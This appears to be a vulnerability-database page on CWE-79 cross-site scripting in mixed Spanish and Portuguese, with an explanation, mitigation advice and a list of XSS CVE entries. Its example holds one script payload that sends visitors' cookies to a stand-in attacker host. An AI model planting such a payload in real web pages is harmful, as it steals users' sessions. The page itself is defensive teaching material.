Fallos del tipo CWE-79

30.295 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-55072MEDIUMStored cross-site scripting (XSS) vulnerability in desknet's NEO V2.0R1.0 to V9.0R2.0 allow execution of arbitrary JavaScript in a user’s weEPSS 0.3%CVE-2025-63785MEDIUMA DOM-based Cross-Site Scripting (XSS) vulnerability exists in the text editor feature of the Onlook web application 0.2.32. This vulnerabilEPSS 0.3%CVE-2026-1011MEDIUMStored Cross-Site Scripting in Altium Live Support Center Comment EndpointEPSS 0.3%CVE-2025-1455MEDIUMRoyal Elementor Addons and Templates <= 1.7.1012 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2020-36844MEDIUMThe KnowBe4 Security Awareness Training application before 2020-01-10 allows reflected XSS. The response has a SCRIPT element that sets windEPSS 0.3%CVE-2025-3077MEDIUMBetheme <= 28.0.3 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-1266MEDIUMPostalicious <= 3.0.1 - Authenticated (Administrator+) Stored Cross-Site Scripting via Plugin SettingsEPSS 0.3%CVE-2025-9940MEDIUMCodeAstro Real Estate Management System feature.php cross site scriptingEPSS 0.3%CVE-2025-10632MEDIUMitsourcecode Online Petshop Management System Admin Dashboard availableframe.php cross site scriptingEPSS 0.3%CVE-2025-5753MEDIUMValuation Calculator <= 1.3.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via link ParameterEPSS 0.3%CVE-2025-1456MEDIUMRoyal Elementor Addons and Templates <= 1.7.1012 - Authenticated DOM-Based (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-63169MEDIUMOmnispace Agora Project < 26.10.0 Stored XSS via Messenger IframeEPSS 0.3%CVE-2025-63211MEDIUMStored cross-site scripting vulnerability in bridgetech VBC Server & Element Manager, firmware versions 6.5.0-9 thru 6.5.0-10, allows attackEPSS 0.3%CVE-2025-54760MEDIUMStored cross-site scripting (XSS) vulnerability in desknet's NEO V9.0R2.0 and earlier allow execution of arbitrary JavaScript in a user’s weEPSS 0.3%CVE-2026-25932HIGHGLPI has Stored XSS in Supplier 'Website' fieldEPSS 0.3%CVE-2024-47486LOWThere is an XSS vulnerability in some HikCentral Master Lite versions. If exploited, an attacker could inject scripts into certain pages by EPSS 0.3%CVE-2026-7174MEDIUMMultiple vulnerabilities in Entradium by CrocanticketsEPSS 0.3%CVE-2026-34907MEDIUMReflected Cross-Site Scripting (XSS) in Wirtualna UczelniaEPSS 0.3%CVE-2026-1809MEDIUMHTML Shortcodes <= 1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.3%CVE-2025-10354MEDIUMReflected Cross-Site Scripting (XSS) in Semantic MediaWikiEPSS 0.3%